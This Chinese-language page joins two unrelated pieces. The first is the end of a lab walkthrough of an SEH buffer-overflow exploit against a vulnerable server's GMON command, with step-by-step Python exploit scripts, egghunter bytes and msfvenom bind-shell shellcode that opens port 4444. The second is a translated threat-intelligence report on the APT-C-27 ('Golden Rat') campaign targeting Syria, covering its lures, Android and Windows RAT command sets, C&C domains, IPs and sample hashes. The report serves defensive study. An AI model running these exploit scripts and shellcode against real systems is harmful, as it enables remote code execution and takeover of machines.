我执行了修改后的代码，识别出了坏字符。(注意：在这里NULL(\x00)字符已经被删除)。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
nseh = "BBBB"
seh = "CCCC"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += badchars
buffer += "D"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
我们可以发现，除了NULL字节外，并没有发现其他坏字符。
在这里我使用了！！mona seh指令，找到了一个包含POP POP RET指令的地址。我使用了结果中的第一条指令，也就是0x625010B4。
以下是更新后的代码。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
nseh = "BBBB"
seh = "\xB4\x10\x50\x62" # POP POP RET from essfunc.dll
buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
发现更新后的代码起作用了，SEH被POP POP RET指令的地址覆盖了。
通过传递异常，按SHIFT+F9，我被重定向到POP POP RET指令的地址。
执行POP POP RET指令后，我被重定向到nSEH记录，其中包含4个B字节。
下一步就是用一条跳转指令来改变这4个B的位置，从而将我的shellcode重定向。然而，如上所述，我不能使用D的缓冲区，因为它只有28字节长。即使对一个egghunter来说，这也是不够的，因为它需要32字节的空间。由于A的缓冲区位于4个B的缓冲区的正上方，我必须要后跳。因此，我还需要做一个
"长跳"，因为等价的操作码有5个字节长。这不适合只有4个字节空间的nSEH。并且我需要向后跳转了50个字节。下面是我使用的代码。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
nseh = "\xEB\xCE\x90\x90" # Jump back 50 bytes for egghunter
seh = "\xB4\x10\x50\x62" # POP POP RET from essfunc.dll
buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
从这里可以看出，负向跳跃起了作用。下一步将是把egghunter代码放在这个位置。
这里我使用了！！mona egg -t CAPT来生成egghunter。
在使用egghunter之前，我首先需要确定egghunter代码之前的偏移量（A的数量）。为了做到这一点，我做了一个简单的计算：原3495字节的A+2字节的后跳操作码-50字节的后跳长度=3447字节的A。以下是更新后的代码。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
nseh = "\xEB\xCE\x90\x90" # Jump back 50 bytes for egghunter
seh = "\xB4\x10\x50\x62" # POP POP RET from essfunc.dll
# Egg: CAPT
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x41\x50\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
buffer = "A"*3447
buffer += egghunter
buffer += "A"*(3495-len(buffer))
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
发现我们的计算是正确的，当前的指令指向了egghunter的起点。
然后我用MSFvenom生成了一个shellcode。
由于剩余的A的缓冲区仍然很大，我决定将egg/tag和shellcode放在GMON命令之后。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
nseh = "\xEB\xCE\x90\x90" # Jump back 50 bytes for egghunter
seh = "\xB4\x10\x50\x62" # POP POP RET from essfunc.dll
# Egg: CAPT
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x41\x50\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
# Payload size: 355 bytes
shellcode = ("\xdb\xc8\xd9\x74\x24\xf4\xb8\x4f\x0d\xf8\xd8\x5d\x29\xc9\xb1"
"\x53\x31\x45\x17\x83\xc5\x04\x03\x0a\x1e\x1a\x2d\x68\xc8\x58"
"\xce\x90\x09\x3d\x46\x75\x38\x7d\x3c\xfe\x6b\x4d\x36\x52\x80"
"\x26\x1a\x46\x13\x4a\xb3\x69\x94\xe1\xe5\x44\x25\x59\xd5\xc7"
"\xa5\xa0\x0a\x27\x97\x6a\x5f\x26\xd0\x97\x92\x7a\x89\xdc\x01"
"\x6a\xbe\xa9\x99\x01\x8c\x3c\x9a\xf6\x45\x3e\x8b\xa9\xde\x19"
"\x0b\x48\x32\x12\x02\x52\x57\x1f\xdc\xe9\xa3\xeb\xdf\x3b\xfa"
"\x14\x73\x02\x32\xe7\x8d\x43\xf5\x18\xf8\xbd\x05\xa4\xfb\x7a"
"\x77\x72\x89\x98\xdf\xf1\x29\x44\xe1\xd6\xac\x0f\xed\x93\xbb"
"\x57\xf2\x22\x6f\xec\x0e\xae\x8e\x22\x87\xf4\xb4\xe6\xc3\xaf"
"\xd5\xbf\xa9\x1e\xe9\xdf\x11\xfe\x4f\x94\xbc\xeb\xfd\xf7\xa8"
"\xd8\xcf\x07\x29\x77\x47\x74\x1b\xd8\xf3\x12\x17\x91\xdd\xe5"
"\x58\x88\x9a\x79\xa7\x33\xdb\x50\x6c\x67\x8b\xca\x45\x08\x40"
"\x0a\x69\xdd\xfd\x02\xcc\x8e\xe3\xef\xae\x7e\xa4\x5f\x47\x95"
"\x2b\x80\x77\x96\xe1\xa9\x10\x6b\x0a\xc4\xbc\xe2\xec\x8c\x2c"
"\xa3\xa7\x38\x8f\x90\x7f\xdf\xf0\xf2\xd7\x77\xb8\x14\xef\x78"
"\x39\x33\x47\xee\xb2\x50\x53\x0f\xc5\x7c\xf3\x58\x52\x0a\x92"
"\x2b\xc2\x0b\xbf\xdb\x67\x99\x24\x1b\xe1\x82\xf2\x4c\xa6\x75"
"\x0b\x18\x5a\x2f\xa5\x3e\xa7\xa9\x8e\xfa\x7c\x0a\x10\x03\xf0"
"\x36\x36\x13\xcc\xb7\x72\x47\x80\xe1\x2c\x31\x66\x58\x9f\xeb"
"\x30\x37\x49\x7b\xc4\x7b\x4a\xfd\xc9\x51\x3c\xe1\x78\x0c\x79"
"\x1e\xb4\xd8\x8d\x67\xa8\x78\x71\xb2\x68\x98\x90\x16\x85\x31"
"\x0d\xf3\x24\x5c\xae\x2e\x6a\x59\x2d\xda\x13\x9e\x2d\xaf\x16"
"\xda\xe9\x5c\x6b\x73\x9c\x62\xd8\x74\xb5")
buffer = "CAPTCAPT"
buffer += shellcode
buffer += "A"*(3447-len(buffer))
buffer += egghunter
buffer += "A"*(3495-len(buffer))
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
以下是执行流程。
在执行最后的漏洞代码时，egghunter在GMON命令后成功定位了egg/tag和我的shellcode。
我们发现 ，shellcode起作用了，目标机在4444/tcp上产生了一个 "监听 "端口。
最后要做的是连接到新打开的端口，获得一个shell访问权限。 | 社区文章 |
# 黄金鼠组织（APT-C-27）叙利亚地区的定向攻击活动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
发布机构：360威胁情报中心
* 2014年11月起至今，黄金鼠组织（APT-C-27）对叙利亚地区展开了有组织、有计划、有针对性的长时间不间断攻击。
* 攻击平台主要包括Windows与Android，截至目前我们一共捕获了Android样本29个，Windows样本55个，涉及的C&C域名9个。
* PC与Android端间谍软件主要伪装成Telegram等聊天软件，并通过水坑等攻击方式配合社会工程学手段进行渗透。
* 相关恶意可执行程序多为“.exe”和“.scr”扩展名，但是这些程序都伪装成Word、聊天工具图标，并通过多种诱导方式诱导用户中招。
* 攻击者在诱饵文档命名时也颇为讲究，如“حمص تلبيسة قصف بالهاون”（炮击霍姆斯），此类文件名容易诱惑用户点击。
* 攻击者针对PC平台使用了大量的攻击载荷，包括Multi-stage Dropper、njRAT、VBS脚本、JS脚本、Downloader等恶意程序，此类恶意程序多为远控，主要功能包括上传下载文件、执行shell等。
* Android端后门程序功能主要包括定位、短信拦截、电话录音等，并且还会收集文档、图片、联系人、短信等情报信息。
* 通过相关信息的分析，发现该组织极有可能来自阿拉伯国家。
关键词：黄金鼠、APT-C-27、叙利亚、Windows、Android、水坑、伪装、诱饵文档、RAT、后门
## 概述
从2014年11月起至今，黄金鼠组织（APT-C-27）对叙利亚地区展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台从开始的Windows平台逐渐扩展至Android平台，截至目前我们一共捕获了Android平台攻击样本29个，Windows平台攻击样本55个，涉及的C&C域名9个。
2016年6月，我们首次注意到该攻击组织中涉及的PC端恶意代码，并展开关联分析，但通过大数据关联分析发现相关攻击行动最早可以追溯到
2014年11月，并关联出数十个恶意样本文件，包括PC和Android平台。此外，Android和PC平台的恶意样本主要伪装成聊天软件及一些特定领域常用软件，通过水坑攻击方式配合社会工程学手段进行渗透，向特定目标人群进行攻击，进一步结合恶意代码中诱饵文件的内容和其他情报数据，我们判定这是一次以窃取敏感信息为目的的针对性攻击，且目标熟悉阿拉伯语。
2015年7月，叙利亚哈马市新闻媒体在Facebook上发布了一则消息，该条消息称带有“土耳其对叙利亚边界部署反导弹系统进行干预，详细信息为<http://www.gulfup.com/?MCVlNX>”的信息为恶意信息，并告诫大家不要打开信息中链接，该链接为黑客入侵链接，相关C&C为31.9.48.183。哈马市揭露的这次攻击行动，就是我们在
2016年6月发现的针对叙利亚地区的APT攻击。从新闻中我们确定了该行动的攻击目标至少包括叙利亚地区，其载荷投递方式至少包括水坑式攻击。
360威胁情报中心将APT-C-27组织命名为黄金鼠，主要是考虑了以下几方面的因素：一是该组织在攻击过程中使用了大量的资源，说明该攻击组织资源丰富，而黄金鼠有长期在野外囤积粮食的习惯，字面上也有丰富的含义；二、该攻击组织通常是间隔一段时间出来攻击一次，这跟鼠有相通的地方；三是黄金仓鼠是叙利亚地区一种比较有代表性的动物。因此，根据360威胁情报中心对APT组织的命名规则（参见《2016年中国高级持续性威胁研究报告》），我们命名APT-C-27组织为“黄金鼠”。
## 攻击组织的三次攻击行动
图1 该攻击组织相关重点事件时间轴
> 注：
>
> 圆形蓝色里程碑：相关典型后门首次出现时间
>
> 正方形灰色里程碑：相关典型后门再次出现时间
>
> 三角形深蓝色里程碑：相关C&C出现时间
>
> 菱形黑色里程碑：重要事件出现的时间
攻击行动 | 活跃时间 | 主要载荷 | 主要C&C
---|---|---|---
第一次 | 2014.10 – 2015.7 | njRAT、Downloader | bbbb4.noip.me
31.9.48.183
第二次 | 2015.8 – 2016.11 | DarkKomet、VBS Backdoor、AndroRAT |
basharalassad1sea.noip.me
31.9.48.183
第三次 | 2016.12 – 至今 | Android RAT、定制RAT、JS Backdoor、JS后门 | 82.137.255.56
telgram.strangled.net
chatsecurelite.us.to
表1 三波攻击行动
第一次攻击行动集中在2014年10月到2015年7月，该期间攻击组织主要使用开源远控njRAT和Downloader进行攻击，攻击载荷并不复杂，使用的C&C主要为bbbb4.noip.me和31.9.48.183。但是2015年7月，该组织使用的C&C（31.9.48.183）被叙利亚哈马市新闻媒体在Facebook曝光。
第二次攻击行动集中在2015年7月到2016年11月，在这期间攻击者使用了多种不同类型的攻击载荷。在2015年8月攻击者开始使用Delphi编写的DarkKomet远控，此外，在2015年11月针对Android操作系统的攻击开始出现，并使用了AndroRAT恶意程序，期间使用的C&C主要是31.9.48.183，但是到了2016年1月，该组织开始使用新的域名basharalassad1sea.noip.me作为C&C服务器。另外，本次攻击行动具有代表性的就是2016年10月开始使用Facebook进行水坑攻击，并使用全新的VBS后门作为攻击载荷。
第三次攻击行动集中在2016年12月到至今，该期间攻击组织表现尤为活跃，使用的攻击载荷变得更加丰富。在2017年4月使用了telgram.strangled.net钓鱼页面进行水坑攻击，并且根据telegram升级程序的步骤制作RAT进行攻击，攻击平台包括PC与Android，C&C服务器也改变成82.137.255.56。此外，在2017年5月，首次出现了JS后门，并结合前期的VBS后门、RAT同时攻击。在这次攻击中需要引起重视的是，在2017年9月，攻击者开始使用域名chatsecurelite.us.to替代原有域名telgram.strangled.net进行水坑攻击，并着重针对Android平台进行攻击，开发了一系列不同伪装形式的RAT，最近两个月，攻击者基本上都只对Android平台进行攻击。
## 载荷投递
### 水坑攻击
APT
攻击中主流的水坑攻击主要分为以下三种：1、攻击者将被攻击目标关注的网站攻陷，并植入恶意代码（俗称挂马），当目标访问时可能会触发漏洞从而植入恶意代码；2、攻击者将被攻击目标关注的网站攻陷，并把网站上一些可信应用或链接替换为攻击者所持有的恶意下载链接，当目标访问被攻陷的网站并将恶意下载链接的文件下载并执行，则被植入恶意代码；3、攻击者搭建一些具有迷惑性的网站，通过诱导用户转向此网站进行恶意程序的下载，如鱼叉邮件正文中嵌入恶意网址或基于社交网络的诱导。在该事件中，攻击者选择的是第三种水坑攻击方式。
#### （一） 钓鱼网站
PC端间谍软件主要伪装成Telegram、Chrome等升级软件，并通过挂载在具有迷惑性的下载网址上引诱目标下载安装。攻击者注册了一系列类似于<http://telgram.strangled.net/>、http://chatsecurelite.us.to这种具有迷惑性的网址，并且上面都挂着部分正常样本用于干扰、迷惑。表2是PC端RAT程序具体下载链接和链接对应文件MD5。
表2 PC端RAT程序下载链接和链接对应文件MD5
Android端间谍软件主要伪装成“System Package Update”、“Telegram Update”、“ChatSecure
Ultimate 2017”、“Ms Office Update
2017”、“WordActivation”、“تسريع_نت_مجاني”等软件，这些软件普遍为一些聊天软件更新程序，并通过挂载在具有迷惑性的下载网址上引诱目标下载安装。
图2为攻击者钓鱼页面（chatsecurelite.us.to/تحميل-البرنامج/）。
图2 攻击者钓鱼页面
点击上图中的应用会跳转至真正后台进行应用下载，如图3所示：
图3 攻击者后台页面
目前该链接为正常状态，表3是某Android端RAT程序具体下载链接和链接对应的APK文件 MD5。
表3 Android端RAT程序下载链接和链接对应的APK文件MD5
通过分析我们发现telgram.strangled.net这个域名从2017年9月份停止使用，9月份之后，开始使用chatsecurelite.us.to这个域名。此外，通过链接下载的APK文件或EXE程序图标都会被修改成正常的软件更新程序欺骗用户，从而导致用户中招。
#### （二） 社交网络
除了上述诱导用户到指定链接下载恶意程序外，攻击者还利用社交网络Facebook传播恶意程序，甚至将带有水坑链接的这些消息置顶，以更好的达到欺骗效果。图4、图5、图6都是攻击者在Facebook上诱导用户点击水坑链接的截图，用户点击该链接实际上会下载恶意载荷。
图4 Facebook传播恶意载荷1
图5 Facebook传播恶意载荷2
图6 Facebook传播恶意载荷3
从上图可以知道，攻击者首先将部分恶意载荷上传至下载站，如[https://jumpshare.com/、http://www.mediafire.com/](https://jumpshare.com/%E3%80%81http:/www.mediafire.com/)，然后在Facebook上发送欺骗性消息，欺骗用户到指定网站下载恶意载荷。表4是某VBS载荷具体下载链接和链接对应的VBS文件
MD5。
表4 某VBS载荷下载链接和链接对应的VBS文件MD5
### 疑似鱼叉邮件
相关恶意可执行程序多为“.exe”和“.scr”扩展名，但是这些文件都伪装成doc、telegram、chrome图标，并且文件中还包含一些用以迷惑用户的文档，从以往此类事件的分析经验来看，一般这类可执行程序均进行压缩，以压缩包形态发送。压缩包和包内恶意代码文件名一般是针对目标进行精心构造的文件名，相关文件名一般与邮件主题、正文内容和恶意代码释放出的诱饵文档内容相符，因此这次攻击行动有可能也会以鱼叉邮件的方式进行投递。
## 诱导方式
攻击组织在这次行动中主要使用以下几种诱导方式。
### 文档诱导
文档诱导主要是指攻击者通过正常PDF、DOC文档，提醒用户到恶意URL处更新最新程序或诱导用户安装APK文件，从而导致用户中招。
图7为其中某诱饵文档，该文档指出用户所用版本为旧版本，提醒用户及时更新，但是实际上文档中URL为恶意URL，下载的程序为RAT。
图7 诱饵文档1
下图为诱导用户安装APK的PDF文件，如用户按照此方式进行安装，APK会隐藏图标，在后台静默执行恶意程序。
图8 诱饵文档2
### 文件图标伪装
PC与Android端特洛伊木马通过图标进行伪装，涉及的图标主要包括聊天工具、WORD文档、人物头像等图标，其中Android平台涉及的伪装图标主要是聊天工具和Word图标，如图9所示。
图9 Android端欺骗性软件图标
PC平台上涉及的伪装图标主要有人物头像、聊天工具升级图标等，如图10所示。
图10 PC端欺骗性软件图标
### 使用特殊文件格式
攻击者使用的部分载荷采用scr后缀的文件名，scr文件格式是Windows系统中屏幕保护程序，为exe的衍生类型。此外，攻击者在使用这种文件格式时，通常会对文件命名一个诱饵名字，如“حمص
تلبيسة قصف
بالهاون.scr”（炮击霍姆斯），霍姆斯是叙利亚的一个城市，并且被大规模武装袭击过。攻击者利用此类文件名及文件格式容易引起用户好奇心，从而点击文件中招。
### 正常软件更新伪装
攻击者不仅对恶意程序文件名、图标进行伪装，而且还会针对某些恶意更新程序（如telegram.exe，telegram是叙利亚一个比较流行的通讯软件）伪装其正常更新页面。当点击该恶意程序时，弹出正常的软件更新页面以迷惑用户，从而隐藏其层层释放恶意RAT的行为，普通用户很难辨别出此类软件恶意行为。图11为某一恶意程序运行的截图。
###
图11 软件更新伪装界面
## 后门分析
### Android
1）Android平台的样本，伪装成“ChatSecure”、“WordActivation”、“whatsappupdate_2017”、“تسريع_نت_مج”等常用聊天办公软件，本质是一个RAT。
图12 “WordActivation”运行界面
2）Android设备管理器是Google提供的一套API，允许用户以system权限管理设备，一个APP激活设备管理器后，不能被轻易卸载（必须先取消激活）。这些RAT程序动后诱导用户激活设备管理器，然后隐藏图标在后台运行。
图13 激活设备管理器代码
图14 诱导用户激活设备管理器
3）启动RAT监控模块。RAT模块默认与31.9.48.183这个C&C建立连接，接收命令和参数。
图15 启动RAT监控模块
4）依据云端指令盗取用户手机中WhatsApp、Viber等软件的数据。
图16 盗取用户WhatsApp、Viber的数据
5）样本具有录音、拍照、GPS定位、上传联系人/通话记录/短信/文件、执行云端命令等能力，除伪装的APP名字不一样，功能基本相同。
图17 样本核心代码的结构
6）样本主要以xml格式向云端发送数据和接收指令。
图18 发送的数据和接收的指令
7）样本接收的指令如表5所示。经分析，这些指令都可以执行。
指令 | 功能
---|---
16 | 心跳打点
17 | connect
18 | 获取指定文件的基本信息
19 | 下载文件
20 | 上传文件
21 | 删除文件
22 | 按照云端指令复制文件
23 | 按照云端指令移动文件
24 | 按照云端指令重命名文件
25 | 运行文件
28 | 按照云端指令创建目录
29 | 执行云端命令
30 | 执行一次ping命令
31 | 获取并上传联系人信息
32 | 获取并上传短信
33 | 获取并上传通话记录
34 | 开始录音
35 | 停止并上传录音文件
36 | 拍照
37 | 开始GPS定位
38 | 停止GPS定位并上传位置信息
39 | 使用云端发来的ip/port
40 | 向云端报告当前使用的ip/port
41 | 获取已安装应用的信息
表5 Android端RAT样本指令与功能对应关系
### Windows
#### （一） Multi-stage Dropper
此类间谍软件伪装成聊天工具telegram的升级程序进行传播，为使用户中招和更好的隐藏自身，该恶意程序在多方面进行了伪装，不但使用具有诱惑性的名字和图标，而且还做了可以以假乱真的安装界面来迷惑用户。该恶意程序运行后会有一个伪装的telegram升级界面，在用户一步步点击进行升级的过程中，恶意程序通过层层释放，最终会将一个RAT程序释放到用户电脑并运行。下图是某恶意程序执行流程图。
图19 执行流程图
该RAT程序使用.net框架编写，通过接受控制端命令对用户计算机进行控制，如文件修改执行，杀进程等操作。通过对比发现该RAT与Android平台的RAT样本的命令除个别外其余编号对应的功能基本一致。对应关系如表6所示。
指令 | 功能
---|---
18 | 获取磁盘信息
19 | 上传文件
20 | 下载文件
21 | 删除文件
22 | 复制文件
23 | 移动文件
24 | 重命名文件
25 | 运行文件
26 | 压缩文件
27 | 解压文件
28 | 创建目录
31 | 上传屏幕截图
32 | 停止屏幕截图
33 | 获取进程列表
34 | 结束进程
35 | 执行命令
表6 PC端RAT样本指令与功能对应关系
#### （二） njRAT
该组织除了自己开发Multi-stage
Dropper程序外，也使用近年来最为活跃的木马家族之一的远控njRAT。在使用njRAT时并不是直接使用，而是对在njRAT的基础上进行了二次封装，使用C#为njRAT加了一层壳，并对壳的代码进行了大量的混淆。该壳的作用是在内存中加载njRAT运行，防止njRAT被杀毒软件检测。
njRAT又称Bladabindi，是通过.net框架编写的RAT程序，通过控制端可以操作受控端的注册表，进程，文件等，还可以对被控端的键盘进行记录。同时njRAT采用了插件机制，可以通过不同的插件来扩展njRAT的功能。
图20 配置信息
图21 键盘记录
#### （三） C# Downloader
在进行关联分析中还发现该组织也使用Downloader进行二次下次，该Downloader使用具有诱惑力的名字，后缀也使用scr来诱导用户点击，如حمص
تلبيسة قصف بالهاون.scr，شام الحرة.scr（炮击霍姆斯）。
Downloader主要是从pastebin.com去下载文件执行，在通过下载的文件执行核心功能，如backdoor，RAT等。
图22 下载功能1
图23 下载功能2
#### （四） VBS Backdoor
该组织在进行攻击时使用大量的VBS脚本，并且该脚本经过大量混淆，下图为其中一个VBS脚本的部分代码。除此之外，使用的VBS脚本不再是简单的下载文件，而且完整的一个后门程序。
图24 部分VBS代码
将代码去混淆后，得到主要代码。
图25 主要功能代码
该VBS主要功能是与C&C(31.9.48.183:1984)进行通信，表7是主要指令对用的功能。
指令 | 功能
---|---
excecute | 执行远端命令
update | 更新载荷
uninstall | 卸载自身
send | 下载文件
site-send | 指定网站下载文件
recv | 上传数据
enum-driver | 枚举驱动
enum-faf | 枚举指定目录下的文件
enum-process | 枚举进程
cmd-shell | 执行shell
delete | 删除文件
exit-process | 结束进程
sleep | 设置脚本的睡眠时间
表7 VBS样本指令与功能对应关系
#### （五） JS Backdoor
在此次行动中攻击者还使用了JavaScript脚本，脚本为完整后门程序。部分代码如图26所示。
图26 JS脚本部分功能代码
该样本功能是与82.137.255.56:1933进行通信，主要指令如表8所示。
指令 | 功能
---|---
Sc | 在临时目录创建文件并运行
Ex | 获取指定的环境变量
Rn | 更新脚本程序并运行
Up | 在临时目录创建脚本并运行
Un | 执行命令
表8 JS样本指令与功能对应关系
综上所述，可以看出攻击者在攻击过程中使用了大量不同类型的攻击载荷。另外，需要特别说明的是，除上述攻击载荷外，该组织在攻击过程中还使用了Delphi开发的远控程序DarkKomet和XtremeRAT，使用C&C为31.9.48.183，但该类型远控占比较低且为公开远控，所以这里不再单独进行分析。
## C&C分析
本章就攻击者使用的C&C进行分析，发现C&C使用的都是子域名（如telgram.strangled.net）或硬编码IP地址，攻击使用此类方式来隐藏自己的真实身份，安全研究机构或人员很难找到相关线索信息进行关联回溯，这说明了该组织对自己的真实身份有较强的保护意识。
### C&C时间分布
C&C使用时间 | 主要C&C
---|---
2014年 | bbbb4.noip.me
2015年~2016年 | basharalassad1sea.noip.me、31.9.48.183
2017年 | telgram.strangled.net、chatsecurelite.us.to
82.137.255.56
表9 域名时间分布
从上表中可以看出该组织攻击行动使用的C&C并不多，2014年第一次攻击行动使用的域名为bbbb4.noip.me，在2015到2016年期间，使用的主要C&C是basharalassad1sea.noip.me和31.9.48.183。不过2017年开始，以前使用的C&C基本都不再用了，而是使用telgram.strangled.net、chatsecurelite.us.to、82.137.255.56这三个C&C，通过分析发现2017年9月份之前攻击者水坑攻击使用的是telgram.strangled.net，9月份之后，开始使用chatsecurelite.us.to这个域名，而攻击载荷主要使用82.137.255.56这个C&C。
### C&C服务器端口分布
攻击者使用的C&C服务器虽说较少，但是不同攻击载荷使用了不同的端口，下图为C&C服务器端口分布。
图27 C&C服务器端口分布
从上图C&C服务器端口分布来看，攻击者偏向于使用1177、1740、5552端口，其占比居前三位，分别为33.9%、19.4%、8.1%。其中1177和5552端口主要用于njRAT远控，1740端口多用于移动端RAT样本。紧随其后的有1940、1933端口，其占比分别为6.5%、4.8%，此二类端口多用于VBS后门中。另外其他类别主要包括3000、1990、1610、1984、4010、1920等端口。
### C&C、IP及部分样本对应关系
###
图28 C&C、 IP及部分样本对应关系
通过图28中的C&C、IP及部分样本对应关系，很明确说明了PC端样本与Android平台样本存在强关联。此外IP
82.137.255.56与31.9.48.183都是攻击者所持有，后面第八章会重点分析两IP之间的关系。通过分析所有样本，发现早期PC端样本主要使用31.9.48.183作为C&C服务器，而后期PC与Android端则主要使用C&C服务器为82.137.255.56。
## PC与Android关联分析
本章主要就该攻击组织使用的恶意代码、文件名、C&C服务器等层面进行关联分析。
### 共用C&C
针对操作系统 | PC
---|---
MD5 | d84a553f9f272c8e2e6db525fa4f9977
C&C | 82.137.255.56:5601
表10 PC样本基本信息
图29 PC样本代码截图（C&C地址）
针对操作系统 | Android
---|---
MD5 | cf507aa156fe856e74f22b80e83055fd
C&C | 82.137.255.56:1740
表11 Android样本基本信息
图30 Android样本代码截图（C&C地址）
从掌握的样本信息发现，近期Android与PC端样本使用C&C都是 82.137.255.56，只是端口不一样。
### 共用远控指令
针对操作系统 | PC
---|---
MD5 | ad9c09bb6b22cb970706b5e3ffdf7621
C&C | 82.137.255.56
表12 PC样本基本信息
图31 PC样本代码截图（远控指令）
针对操作系统 | Android
---|---
MD5 | cf507aa156fe856e74f22b80e83055fd
C&C | 82.137.255.56
表13 Android样本基本信息
图32 Android样本代码截图（远控指令）
从上述对比信息知道，PC与Android端的RAT远端指令20、21、22都一致，分别是下载文件、删除文件、复制文件。实际攻击在PC与Android端RAT样本使用的是同一套远控指令，都从数字17开始，这间接说明了攻击方都是同一伙人。
### 共用水坑链接
针对操作系统 | PC
---|---
MD5 | ad9c09bb6b22cb970706b5e3ffdf7621
下载链接 | <http://telgram.strangled.net/wp-content/uploads/2017/>
telegram.exe
表14 PC样本基本信息
针对操作系统 | Android
---|---
MD5 | 090ba0eef20b8fdcefd619ddc634b440
下载链接 | <http://chatsecurelite.us.to/wp-content/uploads/2017/>
ChatSecurePro.apk
表15 Android样本基本信息
通过表14和表15我们知道PC与Android端使用的水坑链接目录结构一致。实际上telgram.strangled.net、chatsecurelite.us.to这两个域名都是攻击者持有，且对应的IP都是82.137.255.56，只是攻击者从2017年9月开始使用chatsecurelite.us.to这个域名，并在11月将对应IP改为82.137.255.57。
### 共用文件名
攻击行动中PC与Android平台上的间谍软件使用的文件名大多是一些聊天软件名，如telegram.exe。
平台 | Md5 | 文件名
---|---|---
PC | ad9c09bb6b22cb970706b5e3ffdf7621 | telegram.exe
Android | a5a7ad37a06d0beac8da7ae1663db001 | telegramupdate_2017.apk
表16 样本文件名
从上表可以看出该组织针对这两种平台都喜欢使用聊天软件名。
### 共用字符串
攻击行动中PC与Android平台间谍软件代码中都包含“HAMZA_DELIMITER_STOP”等字符串,
此字符串是xml格式数据的结尾标志。此外发现PC与Android端样本代码中都使用了大量阿拉伯语，如 “لايمكن ضفط、 “فشل
التحميل”等字符串。
平台 | Md5 | 字符串
---|---|---
PC | ad9c09bb6b22cb970706b5e3ffdf7621 | HAMZA_DELIMITER_STOP、وصول غير
مسموح（不允许访问）
Android | a5a7ad37a06d0beac8da7ae1663db001 | HAMZA_DELIMITER_STOP、فشل
التحميل（加载失败）
表17 样本中涉及的字符串
通过上述所有的关联分析，可以明确知道PC与Android端样本来自同一组织开发，并且该组织熟悉阿拉伯语。
## 特殊线索信息
### PDB路径
PDB路径有一定地域特征。
样本MD5 | pdb路径
---|---
871e4e5036c7909d6fd9f23285ff39b5 | aboomar3laqat.pdb
11b61b531a7bbc7668d7d346e4a17d5e |
C:\Users\Th3ProSyria\Desktop\cleanPROs\cleanPROs\obj\Debug\NJ.pdb
表18 PC样本PDB路径
